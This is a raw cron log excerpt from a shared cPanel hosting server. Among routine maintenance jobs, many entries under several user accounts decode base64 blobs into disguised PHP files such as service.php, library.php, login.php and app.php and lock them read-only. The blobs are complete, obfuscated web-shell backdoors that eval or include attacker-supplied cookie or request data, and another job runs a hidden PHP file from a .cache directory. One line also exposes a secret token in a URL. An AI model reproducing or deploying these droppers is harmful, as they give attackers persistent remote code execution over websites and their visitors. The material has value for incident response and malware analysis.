Mar  2 09:14:02 medusa CROND[16394]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:15:01 medusa CROND[1718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 09:15:01 medusa CROND[1765]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 09:15:02 medusa CROND[2033]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 09:15:02 medusa CROND[2032]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:15:02 medusa CROND[2034]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 09:15:02 medusa CROND[2037]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:15:02 medusa CROND[2045]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:15:02 medusa CROND[2042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 09:15:02 medusa CROND[2054]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2055]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 09:15:02 medusa CROND[2060]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2061]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:15:02 medusa CROND[2058]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 09:15:02 medusa CROND[2077]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2079]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 09:15:02 medusa CROND[2078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:15:02 medusa CROND[2085]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2088]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 09:15:02 medusa CROND[2092]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:15:02 medusa CROND[2093]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:15:02 medusa CROND[2100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:15:02 medusa CROND[2086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:16:01 medusa CROND[18882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 09:16:01 medusa CROND[18883]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 09:16:01 medusa CROND[19045]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:16:01 medusa CROND[19047]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 09:16:01 medusa CROND[19048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 09:16:01 medusa CROND[19049]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 09:16:01 medusa CROND[19046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 09:16:01 medusa CROND[19051]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 09:16:01 medusa CROND[19055]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 09:16:01 medusa CROND[19061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 09:16:01 medusa CROND[19064]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:16:01 medusa CROND[19065]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 09:16:01 medusa CROND[19071]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:16:01 medusa CROND[19072]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 09:17:01 medusa CROND[2672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
